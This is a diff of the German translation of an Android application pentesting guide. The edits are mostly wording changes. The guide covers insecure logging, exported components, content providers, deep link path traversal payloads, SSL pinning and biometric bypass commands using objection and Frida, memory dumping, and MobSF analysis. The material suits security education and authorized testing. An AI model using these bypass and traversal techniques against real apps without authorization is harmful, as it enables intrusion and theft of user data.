Entwickler sollten vorsichtig sein, **Debugging-Informationen** öffentlich zugänglich zu machen, da dies zu sensiblen Datenlecks führen kann. Die Tools [**pidcat**](https://github.com/JakeWharton/pidcat) und `adb logcat` werden empfohlen, um Anwendungsprotokolle zu überwachen und sensible Informationen zu identifizieren und zu schützen. **Pidcat** wird wegen seiner Benutzerfreundlichkeit und Lesbarkeit bevorzugt.
|
||||
|
||||
> [!WARNING]
|
||||
> Beachten Sie, dass ab **neueren Versionen als Android 4.0** **Anwendungen nur auf ihre eigenen Protokolle zugreifen können**. Anwendungen können also nicht auf die Protokolle anderer Apps zugreifen.\
|
||||
> Dennoch wird empfohlen, **sensible Informationen nicht zu protokollieren**.
|
||||
> Dennoch wird empfohlen, **keine sensiblen Informationen zu protokollieren**.
|
||||
|
||||
**Zwischenablage-Caching**
|
||||
|
||||
Das **zwischenablagebasierte** Framework von Android ermöglicht die Copy-Paste-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf die Zwischenablage **zugreifen** können, was potenziell sensible Daten offenlegt. Es ist wichtig, die **Copy/Paste**-Funktionen für sensible Abschnitte einer Anwendung, wie z. B. Kreditkartendaten, zu deaktivieren, um Datenlecks zu verhindern.
|
||||
Das **zwischenablagebasierte** Framework von Android ermöglicht die Copy-Paste-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf die Zwischenablage **zugreifen** können, was potenziell sensible Daten offenlegen könnte. Es ist wichtig, die Funktionen **Kopieren/Einfügen** für sensible Abschnitte einer Anwendung, wie z. B. Kreditkartendaten, zu deaktivieren, um Datenlecks zu verhindern.
|
||||
|
||||
**Absturzprotokolle**
|
||||
|
||||
@ -299,7 +299,7 @@ Anwendungen integrieren häufig Dienste wie Google Adsense, die unbeabsichtigt *
|
||||
Die meisten Anwendungen verwenden **interne SQLite-Datenbanken**, um Informationen zu speichern. Während des Pentests sollten Sie einen **Blick** auf die **Datenbanken** werfen, die erstellt wurden, die Namen der **Tabellen** und **Spalten** sowie alle **gespeicherten Daten**, da Sie **sensible Informationen** finden könnten (was eine Schwachstelle darstellen würde).\
|
||||
Datenbanken sollten sich in `/data/data/the.package.name/databases` wie `/data/data/com.mwr.example.sieve/databases` befinden.
|
||||
|
||||
Wenn die Datenbank vertrauliche Informationen speichert und **verschlüsselt** ist, Sie jedoch das **Passwort** in der Anwendung **finden** können, ist dies immer noch eine **Schwachstelle**.
|
||||
Wenn die Datenbank vertrauliche Informationen speichert und **verschlüsselt** ist, Sie jedoch das **Passwort** innerhalb der Anwendung **finden** können, ist dies immer noch eine **Schwachstelle**.
|
||||
|
||||
Zählen Sie die Tabellen mit `.tables` und zählen Sie die Spalten der Tabellen mit `.schema <table_name>`.
|
||||
|
||||
@ -315,7 +315,7 @@ Denken Sie auch daran, dass der Code einer Aktivität in der **`onCreate`**-Meth
|
||||
|
||||
**Autorisierungsumgehung**
|
||||
|
||||
Wenn eine Aktivität exportiert wird, können Sie ihren Bildschirm von einer externen App aus aufrufen. Daher könnten Sie, wenn eine Aktivität mit **sensiblen Informationen** **exportiert** wird, die **Authentifizierungs**mechanismen **umgehen**, um darauf zuzugreifen.
|
||||
Wenn eine Aktivität exportiert wird, können Sie ihren Bildschirm von einer externen App aus aufrufen. Daher könnten Sie, wenn eine Aktivität mit **sensiblen Informationen** **exportiert** wird, die **Authentifizierungs**-Mechanismen **umgehen**, um darauf zuzugreifen.
|
||||
|
||||
[**Erfahren Sie, wie Sie exportierte Aktivitäten mit Drozer ausnutzen.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
@ -329,7 +329,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
**HINWEIS**: MobSF wird die Verwendung von _**singleTask/singleInstance**_ als `android:launchMode` in einer Aktivität als bösartig erkennen, aber aufgrund von [diesem](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) ist dies anscheinend nur in alten Versionen (API-Versionen < 21) gefährlich.
|
||||
|
||||
> [!TIPP]
|
||||
> Beachten Sie, dass ein Autorisierungsumgehung nicht immer eine Schwachstelle ist; es hängt davon ab, wie die Umgehung funktioniert und welche Informationen offengelegt werden.
|
||||
> Beachten Sie, dass ein Autorisierungsumgehung nicht immer eine Schwachstelle ist, es hängt davon ab, wie die Umgehung funktioniert und welche Informationen offengelegt werden.
|
||||
|
||||
**Sensibler Informationsleck**
|
||||
|
||||
@ -339,10 +339,10 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
Wenn Tapjacking nicht verhindert wird, könnten Sie die exportierte Aktivität missbrauchen, um den **Benutzer unerwartete Aktionen** ausführen zu lassen. Für weitere Informationen über [**was Tapjacking ist, folgen Sie dem Link**](#tapjacking).
|
||||
|
||||
### Ausnutzen von Content Providern - Zugriff auf und Manipulation von sensiblen Informationen
|
||||
### Ausnutzen von Content Providern - Zugriff auf und Manipulation sensibler Informationen
|
||||
|
||||
[**Lesen Sie dies, wenn Sie auffrischen möchten, was ein Content Provider ist.**](android-applications-basics.md#content-provider)\
|
||||
Content Provider werden im Grunde verwendet, um **Daten zu teilen**. Wenn eine App verfügbare Content Provider hat, können Sie möglicherweise **sensible** Daten von ihnen **extrahieren**. Es ist auch interessant, mögliche **SQL-Injection**- und **Path Traversal**-Angriffe zu testen, da sie anfällig sein könnten.
|
||||
Content Provider werden im Grunde verwendet, um **Daten zu teilen**. Wenn eine App verfügbare Content Provider hat, können Sie möglicherweise **sensible** Daten von ihnen **extrahieren**. Es ist auch interessant, mögliche **SQL-Injektionen** und **Path Traversals** zu testen, da sie anfällig sein könnten.
|
||||
|
||||
[**Erfahren Sie, wie Sie Content Provider mit Drozer ausnutzen.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
@ -351,7 +351,7 @@ Content Provider werden im Grunde verwendet, um **Daten zu teilen**. Wenn eine A
|
||||
[**Lesen Sie dies, wenn Sie auffrischen möchten, was ein Service ist.**](android-applications-basics.md#services)\
|
||||
Denken Sie daran, dass die Aktionen eines Services in der Methode `onStartCommand` beginnen.
|
||||
|
||||
Ein Service ist im Grunde etwas, das **Daten empfangen**, **verarbeiten** und (oder nicht) eine Antwort **zurückgeben** kann. Wenn eine Anwendung einige Services exportiert, sollten Sie den **Code** überprüfen, um zu verstehen, was er tut, und ihn **dynamisch** testen, um vertrauliche Informationen zu extrahieren, Authentifizierungsmaßnahmen zu umgehen...\
|
||||
Ein Service ist im Grunde etwas, das **Daten empfangen**, sie **verarbeiten** und (oder nicht) eine Antwort **zurückgeben** kann. Wenn eine Anwendung einige Services exportiert, sollten Sie den **Code** überprüfen, um zu verstehen, was er tut, und ihn **dynamisch** testen, um vertrauliche Informationen zu extrahieren, Authentifizierungsmaßnahmen zu umgehen...\
|
||||
[**Erfahren Sie, wie Sie Services mit Drozer ausnutzen.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Ausnutzen von Broadcast Receivers**
|
||||
@ -378,18 +378,18 @@ _Beachten Sie, dass Sie **den Paketnamen weglassen** können und das Mobilgerät
|
||||
```
|
||||
**Code ausgeführt**
|
||||
|
||||
Um den **Code zu finden, der in der App ausgeführt wird**, gehe zur Aktivität, die durch den Deeplink aufgerufen wird, und suche die Funktion **`onNewIntent`**.
|
||||
Um den **Code zu finden, der in der App ausgeführt wird**, gehen Sie zu der Aktivität, die durch den Deeplink aufgerufen wird, und suchen Sie die Funktion **`onNewIntent`**.
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
**Sensible Informationen**
|
||||
|
||||
Jedes Mal, wenn du einen Deep Link findest, überprüfe, dass **er keine sensiblen Daten (wie Passwörter) über URL-Parameter empfängt**, da jede andere Anwendung **den Deep Link nachahmen und diese Daten stehlen könnte!**
|
||||
Jedes Mal, wenn Sie einen Deep Link finden, überprüfen Sie, dass **er keine sensiblen Daten (wie Passwörter) über URL-Parameter empfängt**, da jede andere Anwendung **den Deep Link nachahmen und diese Daten stehlen könnte!**
|
||||
|
||||
**Parameter im Pfad**
|
||||
|
||||
Du **musst auch überprüfen, ob ein Deep Link einen Parameter im Pfad** der URL verwendet, wie: `https://api.example.com/v1/users/{username}`. In diesem Fall kannst du eine Pfadtraversierung erzwingen, indem du auf etwas wie: `example://app/users?username=../../unwanted-endpoint%3fparam=value` zugreifst.\
|
||||
Beachte, dass du, wenn du die richtigen Endpunkte innerhalb der Anwendung findest, möglicherweise eine **Open Redirect** verursachen kannst (wenn ein Teil des Pfades als Domainname verwendet wird), **Accountübernahme** (wenn du die Benutzerdaten ohne CSRF-Token ändern kannst und der verwundbare Endpunkt die richtige Methode verwendet) und jede andere Verwundbarkeit. Mehr [Infos dazu hier](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Sie **müssen auch überprüfen, ob ein Deep Link einen Parameter im Pfad** der URL verwendet, wie: `https://api.example.com/v1/users/{username}`. In diesem Fall können Sie eine Pfadtraversierung erzwingen, indem Sie auf etwas wie: `example://app/users?username=../../unwanted-endpoint%3fparam=value` zugreifen.\
|
||||
Beachten Sie, dass Sie, wenn Sie die richtigen Endpunkte innerhalb der Anwendung finden, möglicherweise eine **Open Redirect** verursachen können (wenn ein Teil des Pfades als Domainname verwendet wird), **Accountübernahme** (wenn Sie die Benutzerdaten ohne CSRF-Token ändern können und der verwundbare Endpunkt die richtige Methode verwendet) und jede andere Verwundbarkeit. Mehr [Info dazu hier](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Weitere Beispiele**
|
||||
|
||||
@ -409,23 +409,23 @@ Wir werden uns auf die **Zertifikatsverifizierung** konzentrieren. Die Integrit
|
||||
|
||||
SSL-Pinning ist eine Sicherheitsmaßnahme, bei der die Anwendung das Serverzertifikat mit einer bekannten Kopie vergleicht, die innerhalb der Anwendung selbst gespeichert ist. Diese Methode ist entscheidend, um MITM-Angriffe zu verhindern. Die Implementierung von SSL-Pinning wird für Anwendungen, die mit sensiblen Informationen umgehen, dringend empfohlen.
|
||||
|
||||
#### Verkehrsinpektion
|
||||
#### Verkehrsinspektion
|
||||
|
||||
Um HTTP-Verkehr zu inspizieren, ist es notwendig, das **Zertifikat des Proxy-Tools** (z. B. Burp) zu **installieren**. Ohne die Installation dieses Zertifikats ist der verschlüsselte Verkehr möglicherweise nicht über den Proxy sichtbar. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats, [**klicke hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
Um HTTP-Verkehr zu inspizieren, ist es notwendig, das **Zertifikat des Proxy-Tools** (z. B. Burp) zu **installieren**. Ohne die Installation dieses Zertifikats ist der verschlüsselte Verkehr möglicherweise nicht über den Proxy sichtbar. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats [**klicken Sie hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Anwendungen, die **API Level 24 und höher** anvisieren, erfordern Änderungen an der Network Security Config, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend für die Inspektion von verschlüsseltem Verkehr. Für Anweisungen zur Änderung der Network Security Config, [**siehe dieses Tutorial**](make-apk-accept-ca-certificate.md).
|
||||
Anwendungen, die **API Level 24 und höher** anvisieren, erfordern Änderungen an der Network Security Config, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend für die Inspektion von verschlüsseltem Verkehr. Für Anweisungen zur Änderung der Network Security Config [**verweisen Sie auf dieses Tutorial**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Wenn **Flutter** verwendet wird, musst du die Anweisungen auf [**dieser Seite**](flutter.md) befolgen. Dies liegt daran, dass das bloße Hinzufügen des Zertifikats in den Store nicht funktioniert, da Flutter seine eigene Liste gültiger CAs hat.
|
||||
Wenn **Flutter** verwendet wird, müssen Sie die Anweisungen auf [**dieser Seite**](flutter.md) befolgen. Dies liegt daran, dass das bloße Hinzufügen des Zertifikats in den Store nicht funktioniert, da Flutter seine eigene Liste gültiger CAs hat.
|
||||
|
||||
#### Umgehung von SSL-Pinning
|
||||
|
||||
Wenn SSL-Pinning implementiert ist, wird es notwendig, es zu umgehen, um HTTPS-Verkehr zu inspizieren. Verschiedene Methoden stehen dafür zur Verfügung:
|
||||
|
||||
- Automatisch **modifizieren** des **apk**, um SSL-Pinning mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) zu **umgehen**. Der größte Vorteil dieser Option ist, dass du kein Root benötigst, um das SSL-Pinning zu umgehen, aber du musst die Anwendung deinstallieren und die neue installieren, und das funktioniert nicht immer.
|
||||
- Du könntest **Frida** (unten besprochen) verwenden, um diesen Schutz zu umgehen. Hier hast du eine Anleitung zur Verwendung von Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Du kannst auch versuchen, SSL-Pinning **automatisch zu umgehen** mit [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Du kannst auch versuchen, SSL-Pinning **automatisch zu umgehen** mit **MobSF dynamischer Analyse** (unten erklärt).
|
||||
- Wenn du immer noch denkst, dass es Verkehr gibt, den du nicht erfasst, kannst du versuchen, **den Verkehr mit iptables an burp weiterzuleiten**. Lies diesen Blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
- Automatisch **modifizieren** Sie die **apk**, um SSL-Pinning mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) zu **umgehen**. Der größte Vorteil dieser Option ist, dass Sie keinen Root-Zugriff benötigen, um das SSL-Pinning zu umgehen, aber Sie müssen die Anwendung löschen und die neue installieren, und das funktioniert nicht immer.
|
||||
- Sie könnten **Frida** (unten besprochen) verwenden, um diesen Schutz zu umgehen. Hier haben Sie eine Anleitung zur Verwendung von Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Sie können auch versuchen, SSL-Pinning **automatisch zu umgehen** mit [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Sie können auch versuchen, SSL-Pinning **automatisch zu umgehen** mit **MobSF dynamischer Analyse** (unten erklärt)
|
||||
- Wenn Sie immer noch denken, dass es Verkehr gibt, den Sie nicht erfassen, können Sie versuchen, **den Verkehr mit iptables an burp weiterzuleiten**. Lesen Sie diesen Blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Suche nach häufigen Webverwundbarkeiten
|
||||
|
||||
@ -434,20 +434,20 @@ Es ist auch wichtig, nach häufigen Webverwundbarkeiten innerhalb der Anwendung
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) ist ein dynamisches Instrumentierungstool für Entwickler, Reverse-Engineers und Sicherheitsforscher.\
|
||||
**Du kannst auf die laufende Anwendung zugreifen und Methoden zur Laufzeit hooken, um das Verhalten zu ändern, Werte zu ändern, Werte zu extrahieren, anderen Code auszuführen...**\
|
||||
Wenn du Android-Anwendungen pentesten möchtest, musst du wissen, wie man Frida verwendet.
|
||||
**Sie können auf die laufende Anwendung zugreifen und Methoden zur Laufzeit hooken, um das Verhalten zu ändern, Werte zu ändern, Werte zu extrahieren, anderen Code auszuführen...**\
|
||||
Wenn Sie Android-Anwendungen pentesten möchten, müssen Sie wissen, wie man Frida verwendet.
|
||||
|
||||
- Lerne, wie man Frida verwendet: [**Frida-Tutorial**](frida-tutorial/index.html)
|
||||
- Lernen Sie, wie man Frida verwendet: [**Frida-Tutorial**](frida-tutorial/index.html)
|
||||
- Eine "GUI" für Aktionen mit Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection ist großartig, um die Verwendung von Frida zu automatisieren: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Du kannst hier einige großartige Frida-Skripte finden: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Versuche, Anti-Debugging / Anti-Frida-Mechanismen zu umgehen, indem du Frida wie in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) angegeben lädst (Tool [linjector](https://github.com/erfur/linjector-rs))
|
||||
- Sie finden einige großartige Frida-Skripte hier: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Versuchen Sie, Anti-Debugging / Anti-Frida-Mechanismen zu umgehen, indem Sie Frida wie in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) angegeben laden (Tool [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **Speicher dumpen - Fridump**
|
||||
|
||||
Überprüfe, ob die Anwendung sensible Informationen im Speicher speichert, die sie nicht speichern sollte, wie Passwörter oder mnemonics.
|
||||
Überprüfen Sie, ob die Anwendung sensible Informationen im Speicher speichert, die sie nicht speichern sollte, wie Passwörter oder mnemonics.
|
||||
|
||||
Mit [**Fridump3**](https://github.com/rootbsd/fridump3) kannst du den Speicher der App dumpen mit:
|
||||
Mit [**Fridump3**](https://github.com/rootbsd/fridump3) können Sie den Speicher der App mit:
|
||||
```bash
|
||||
# With PID
|
||||
python3 fridump3.py -u <PID>
|
||||
@ -478,13 +478,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
```
|
||||
### **Hintergrundbilder**
|
||||
|
||||
Wenn Sie eine Anwendung in den Hintergrund setzen, speichert Android einen **Schnappschuss der Anwendung**, sodass beim Wiederherstellen in den Vordergrund das Bild geladen wird, bevor die App, sodass es aussieht, als wäre die App schneller geladen worden.
|
||||
Wenn Sie eine Anwendung in den Hintergrund versetzen, speichert Android einen **Schnappschuss der Anwendung**, sodass beim Wiederherstellen in den Vordergrund das Bild geladen wird, bevor die App, sodass es aussieht, als wäre die App schneller geladen worden.
|
||||
|
||||
Wenn dieser Schnappschuss jedoch **sensible Informationen** enthält, könnte jemand mit Zugriff auf den Schnappschuss diese **Informationen stehlen** (beachten Sie, dass Sie Root-Rechte benötigen, um darauf zuzugreifen).
|
||||
|
||||
Die Schnappschüsse werden normalerweise unter folgendem Pfad gespeichert: **`/data/system_ce/0/snapshots`**
|
||||
Die Schnappschüsse werden normalerweise gespeichert unter: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android bietet eine Möglichkeit, die **Erfassung von Screenshots zu verhindern, indem der FLAG_SECURE** Layoutparameter gesetzt wird. Durch die Verwendung dieses Flags werden die Fensterinhalte als sicher behandelt, wodurch sie nicht in Screenshots erscheinen oder auf nicht sicheren Displays angezeigt werden können.
|
||||
Android bietet eine Möglichkeit, die **Erfassung von Screenshots zu verhindern, indem der FLAG_SECURE** Layoutparameter gesetzt wird. Durch die Verwendung dieses Flags werden die Fensterinhalte als sicher behandelt, wodurch verhindert wird, dass sie in Screenshots erscheinen oder auf nicht sicheren Displays angezeigt werden.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -502,7 +502,7 @@ Die Gefahr liegt darin, Angreifern zu ermöglichen, nicht exportierte App-Kompon
|
||||
|
||||
- **Intent Injection** ist ähnlich wie das Open Redirect-Problem im Web.
|
||||
- Exploits beinhalten das Übergeben von `Intent`-Objekten als Extras, die umgeleitet werden können, um unsichere Operationen auszuführen.
|
||||
- Es kann nicht exportierte Komponenten und Content-Provider Angreifern aussetzen.
|
||||
- Es kann nicht exportierte Komponenten und Content-Provider für Angreifer zugänglich machen.
|
||||
- Die URL-zu-`Intent`-Umwandlung von `WebView` kann unbeabsichtigte Aktionen erleichtern.
|
||||
|
||||
### Android Client Side Injections und andere
|
||||
@ -510,7 +510,7 @@ Die Gefahr liegt darin, Angreifern zu ermöglichen, nicht exportierte App-Kompon
|
||||
Wahrscheinlich kennen Sie diese Art von Schwachstellen aus dem Web. Sie müssen besonders vorsichtig mit diesen Schwachstellen in einer Android-Anwendung sein:
|
||||
|
||||
- **SQL Injection:** Stellen Sie beim Umgang mit dynamischen Abfragen oder Content-Providern sicher, dass Sie parametrisierte Abfragen verwenden.
|
||||
- **JavaScript Injection (XSS):** Überprüfen Sie, ob die Unterstützung für JavaScript und Plugins für alle WebViews deaktiviert ist (standardmäßig deaktiviert). [Mehr Infos hier](webview-attacks.md#javascript-enabled).
|
||||
- **JavaScript Injection (XSS):** Überprüfen Sie, ob JavaScript- und Plugin-Unterstützung für alle WebViews deaktiviert ist (standardmäßig deaktiviert). [Mehr Infos hier](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** WebViews sollten keinen Zugriff auf das Dateisystem haben (standardmäßig aktiviert) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mehr Infos hier](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: In mehreren Fällen, wenn die Android-Anwendung die Sitzung beendet, wird das Cookie nicht widerrufen oder könnte sogar auf der Festplatte gespeichert werden.
|
||||
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
@ -525,12 +525,12 @@ Wahrscheinlich kennen Sie diese Art von Schwachstellen aus dem Web. Sie müssen
|
||||
|
||||
.png>)
|
||||
|
||||
**Schwachstellenbewertung der Anwendung** mithilfe eines schönen webbasierten Frontends. Sie können auch eine dynamische Analyse durchführen (aber Sie müssen die Umgebung vorbereiten).
|
||||
**Schwachstellenbewertung der Anwendung** mithilfe eines ansprechenden webbasierten Frontends. Sie können auch eine dynamische Analyse durchführen (aber Sie müssen die Umgebung vorbereiten).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Beachten Sie, dass MobSF **Android**(apk)**, IOS**(ipa) **und Windows**(apx) Anwendungen analysieren kann (_Windows-Anwendungen müssen von einem in einem Windows-Host installierten MobSF analysiert werden_).\
|
||||
Hinweis: MobSF kann **Android**(apk)**, IOS**(ipa) **und Windows**(apx) Anwendungen analysieren (_Windows-Anwendungen müssen von einem auf einem Windows-Host installierten MobSF analysiert werden_).\
|
||||
Wenn Sie auch eine **ZIP**-Datei mit dem Quellcode einer **Android**- oder **IOS**-App erstellen (gehen Sie zum Stammordner der Anwendung, wählen Sie alles aus und erstellen Sie eine ZIP-Datei), kann es diese ebenfalls analysieren.
|
||||
|
||||
MobSF ermöglicht auch die **Diff/Compare**-Analyse und die Integration von **VirusTotal** (Sie müssen Ihren API-Schlüssel in _MobSF/settings.py_ festlegen und aktivieren: `VT_ENABLED = TRUE` `VT_API_KEY = <Ihr API-Schlüssel>` `VT_UPLOAD = TRUE`). Sie können auch `VT_UPLOAD` auf `False` setzen, dann wird der **Hash** anstelle der Datei **hochgeladen**.
|
||||
@ -544,19 +544,19 @@ Der **MobSF-Dynamikanalysator** kann:
|
||||
- **HTTPS-Verkehr erfassen**
|
||||
- **Frida** verwenden, um **Laufzeit**-**informationen** zu erhalten
|
||||
|
||||
Ab Android **Versionen > 5** wird **Frida automatisch gestartet** und die globalen **Proxy**-Einstellungen werden festgelegt, um den Verkehr zu **erfassen**. Es wird nur der Verkehr der getesteten Anwendung erfasst.
|
||||
Ab Android **Versionen > 5** wird **automatisch Frida gestartet** und die globalen **Proxy**-Einstellungen werden festgelegt, um den Verkehr zu **erfassen**. Es wird nur der Verkehr der getesteten Anwendung erfasst.
|
||||
|
||||
**Frida**
|
||||
|
||||
Standardmäßig werden auch einige Frida-Skripte verwendet, um **SSL-Pinning**, **Root-Erkennung** und **Debugger-Erkennung** zu **umgehen** und um **interessante APIs** zu **überwachen**.\
|
||||
MobSF kann auch **exportierte Aktivitäten aufrufen**, **Screenshots** davon machen und sie für den Bericht **speichern**.
|
||||
|
||||
Um den dynamischen Test zu **starten**, drücken Sie die grüne Schaltfläche: "**Start Instrumentation**". Drücken Sie auf "**Frida Live Logs**", um die von den Frida-Skripten generierten Protokolle zu sehen, und auf "**Live API Monitor**", um alle Aufrufe an gehookte Methoden, übergebene Argumente und zurückgegebene Werte zu sehen (dies erscheint nach dem Drücken von "Start Instrumentation").\
|
||||
Um den dynamischen Test zu **starten**, drücken Sie die grüne Schaltfläche: "**Start Instrumentation**". Drücken Sie auf "**Frida Live Logs**", um die von den Frida-Skripten generierten Protokolle zu sehen, und auf "**Live API Monitor**", um alle Aufrufe an gehookte Methoden, übergebene Argumente und zurückgegebene Werte zu sehen (dies wird nach dem Drücken von "Start Instrumentation" angezeigt).\
|
||||
MobSF ermöglicht es Ihnen auch, Ihre eigenen **Frida-Skripte** zu laden (um die Ergebnisse Ihrer Frida-Skripte an MobSF zu senden, verwenden Sie die Funktion `send()`). Es hat auch **mehrere vorgefertigte Skripte**, die Sie laden können (Sie können weitere in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` hinzufügen), wählen Sie einfach **diese aus**, drücken Sie "**Load**" und drücken Sie "**Start Instrumentation**" (Sie können die Protokolle dieser Skripte in "**Frida Live Logs**" sehen).
|
||||
|
||||
.png>)
|
||||
|
||||
Darüber hinaus haben Sie einige Hilfsfunktionen von Frida:
|
||||
Darüber hinaus haben Sie einige zusätzliche Frida-Funktionalitäten:
|
||||
|
||||
- **Geladene Klassen auflisten**: Es werden alle geladenen Klassen ausgegeben.
|
||||
- **Strings erfassen**: Es werden alle erfassten Strings während der Verwendung der Anwendung ausgegeben (sehr laut).
|
||||
@ -565,11 +565,11 @@ Darüber hinaus haben Sie einige Hilfsfunktionen von Frida:
|
||||
- **Klassenmuster suchen**: Klassen nach Muster suchen.
|
||||
- **Methoden der Klasse nachverfolgen**: **Verfolgen** Sie eine **ganze Klasse** (sehen Sie Eingaben und Ausgaben aller Methoden der Klasse). Denken Sie daran, dass MobSF standardmäßig mehrere interessante Android-API-Methoden nachverfolgt.
|
||||
|
||||
Sobald Sie das Hilfsmodul ausgewählt haben, das Sie verwenden möchten, müssen Sie auf "**Start Instrumentation**" drücken, und Sie werden alle Ausgaben in "**Frida Live Logs**" sehen.
|
||||
Sobald Sie das zusätzliche Modul ausgewählt haben, das Sie verwenden möchten, müssen Sie auf "**Start Instrumentation**" drücken, und Sie werden alle Ausgaben in "**Frida Live Logs**" sehen.
|
||||
|
||||
**Shell**
|
||||
|
||||
Mobsf bietet Ihnen auch eine Shell mit einigen **adb**-Befehlen, **MobSF-Befehlen** und gängigen **Shell**-**Befehlen** am unteren Ende der Seite zur dynamischen Analyse. Einige interessante Befehle:
|
||||
MobSF bietet Ihnen auch eine Shell mit einigen **adb**-Befehlen, **MobSF-Befehlen** und gängigen **Shell**-**Befehlen** am unteren Ende der Seite zur dynamischen Analyse. Einige interessante Befehle:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -580,13 +580,13 @@ receivers
|
||||
```
|
||||
**HTTP-Tools**
|
||||
|
||||
Wenn der HTTP-Verkehr erfasst wird, können Sie eine unschöne Ansicht des erfassten Verkehrs im "**HTTP(S) Traffic**" unten oder eine schönere Ansicht im grünen Button "**Start HTTPTools**" sehen. Von der zweiten Option aus können Sie die **erfassten Anfragen** an **Proxys** wie Burp oder Owasp ZAP **senden**.\
|
||||
Um dies zu tun, _Burp einschalten -->_ _Intercept ausschalten --> im MobSB HTTPTools die Anfrage auswählen_ --> drücken Sie auf "**Send to Fuzzer**" --> _wählen Sie die Proxy-Adresse_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
Wenn der HTTP-Verkehr erfasst wird, können Sie eine unschöne Ansicht des erfassten Verkehrs auf dem "**HTTP(S) Traffic**" unten oder eine schönere Ansicht im grünen Button "**Start HTTPTools**" sehen. Von der zweiten Option aus können Sie die **erfassten Anfragen** an **Proxys** wie Burp oder Owasp ZAP **senden**.\
|
||||
Um dies zu tun, _Burp einschalten -->_ _Intercept ausschalten --> im MobSB HTTPTools die Anfrage auswählen_ --> drücken Sie "**Send to Fuzzer**" --> _wählen Sie die Proxy-Adresse_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Sobald Sie die dynamische Analyse mit MobSF abgeschlossen haben, können Sie auf "**Start Web API Fuzzer**" drücken, um **HTTP-Anfragen zu fuzzern** und nach Schwachstellen zu suchen.
|
||||
|
||||
> [!TIP]
|
||||
> Nach der Durchführung einer dynamischen Analyse mit MobSF können die Proxy-Einstellungen falsch konfiguriert sein, und Sie können sie nicht über die GUI beheben. Sie können die Proxy-Einstellungen beheben, indem Sie Folgendes tun:
|
||||
> Nach der Durchführung einer dynamischen Analyse mit MobSF können die Proxy-Einstellungen falsch konfiguriert sein, und Sie können sie nicht über die GUI beheben. Sie können die Proxy-Einstellungen beheben, indem Sie:
|
||||
>
|
||||
> ```
|
||||
> adb shell settings put global http_proxy :0
|
||||
@ -605,7 +605,7 @@ Dies ist ein **großartiges Tool zur Durchführung statischer Analysen mit einer
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
